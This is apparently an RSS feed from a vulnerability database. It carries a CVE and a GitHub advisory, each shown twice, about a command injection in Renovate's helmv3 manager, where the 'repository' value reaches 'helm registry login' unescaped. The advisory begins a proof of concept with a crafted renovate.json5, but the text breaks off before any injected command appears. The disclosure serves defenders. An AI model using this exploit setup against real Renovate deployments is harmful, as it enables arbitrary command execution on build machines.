https://vulnerability.circl.lu Contains only the most 10 recent entries. http://www.rssboard.org/rss-specification python-feedgen en Fri, 09 Oct 2026 09:54:43 +0000 https://vulnerability.circl.lu/vuln/cve-2026-76232 <p><strong>Affected:</strong> renovatebot renovate</p> <p>Renovate versions from 31.51.0 before 40.33.0 contain a command injection vulnerability in the helmv3 manager where the repository parameter is appended to helm registry login commands without proper sanitization. Attackers with repository write access can craft malicious Chart.yaml files to execute arbitrary commands on the machine running Renovate.</p> <p><strong>Affected:</strong> renovatebot renovate</p> <p>Renovate versions from 31.51.0 before 40.33.0 contain a command injection vulnerability in the helmv3 manager where the repository parameter is appended to helm registry login commands without proper sanitization. Attackers with repository write access can craft malicious Chart.yaml files to execute arbitrary commands on the machine running Renovate.</p> https://vulnerability.circl.lu/vuln/cve-2026-76232 https://vulnerability.circl.lu/vuln/ghsa-3f44-xw83-3pmg <p><strong>Affected:</strong> npm: renovate</p> <p>### Summary The user-provided string `repository` in the `helmv3` manager is appended to the `helm registry login` command without proper sanitization.</p> <p>### Details Adversaries can provide a maliciously crafted `Chart.yaml` in conjunctions with a tweaked Renovate configuration file to trick Renovate to execute arbitrary code. The value for both uses of the `repository` variable in [lib/modules/manager/helmv3/common.ts](https://github.com/renovatebot/renovate/blob/b69416ce1745f67c9fc1d149738e2f52feb4f732/lib/modules/manager/helmv3/common.ts) are not being escaped using the `quote` function from the `shlex` package. This lack of proper sanitization has been present in the product since version 31.51.0 (https://github.com/renovatebot/renovate/commit/f372a68144a4d78c9f7f418168e4efe03336a432), released on January 24 of 2022.</p> <p>### PoC 1. Create a git repo with the following content:</p> <p>`renovate.json5`:</p> <p>```json5 { $schema: &#34;https://docs.renovatebot.com/renovate-schema.json&#34;, customDatasources: { always: { defaultRegistryUrlTemplate: &#34;https://docs.renovatebot.com/search/search_index.json&#34;, transformTemplates: [&#39;{&#34;releases&#34;:[{&#34;version&#34;:&#34;99999.0.0&#34;}]}&#39;], }, }, // Register any credentials to make the manager attempt to use basic auth for the Helm registry hostRules: [ { matchHost: &#34;charts.bitnami.com&#34;, username: &#34;un&#34;, password: &#34;pw&#34;, }, ], packageRules: [ { // Target of the day matchManagers: [&#34;helmv3&#34;],…</p> <p><strong>Affected:</strong> npm: renovate</p> <p>### Summary The user-provided string `repository` in the `helmv3` manager is appended to the `helm registry login` command without proper sanitization.</p> <p>### Details Adversaries can provide a maliciously crafted `Chart.yaml` in conjunctions with a tweaked Renovate configuration file to trick Renovate to execute arbitrary code. The value for both uses of the `repository` variable in [lib/modules/manager/helmv3/common.ts](https://github.com/renovatebot/renovate/blob/b69416ce1745f67c9fc1d149738e2f52feb4f732/lib/modules/manager/helmv3/common.ts) are not being escaped using the `quote` function from the `shlex` package. This lack of proper sanitization has been present in the product since version 31.51.0 (https://github.com/renovatebot/renovate/commit/f372a68144a4d78c9f7f418168e4efe03336a432), released on January 24 of 2022.</p> <p>### PoC 1. Create a git repo with the following content:</p> <p>`renovate.json5`:</p> <p>```json5 { $schema: &#34;https://docs.renovatebot.com/renovate-schema.json&#34;, customDatasources: { always: { defaultRegistryUrlTemplate: &#34;https://docs.renovatebot.com/search/search_index.json&#34;, transformTemplates: [&#39;{&#34;releases&#34;:[{&#34;version&#34;:&#34;99999.0.0&#34;}]}&#39;], }, }, // Register any credentials to make the manager attempt to use basic auth for the Helm registry hostRules: [ { matchHost: &#34;charts.bitnami.com&#34;, username: &#34;un&#34;, password: &#34;pw&#34;, }, ], packageRules: [ { // Target of the day matchManagers: [&#34;helmv3&#34;],…</p> https://vulnerability.circl.lu/vuln/ghsa-3f44-xw83-3pmg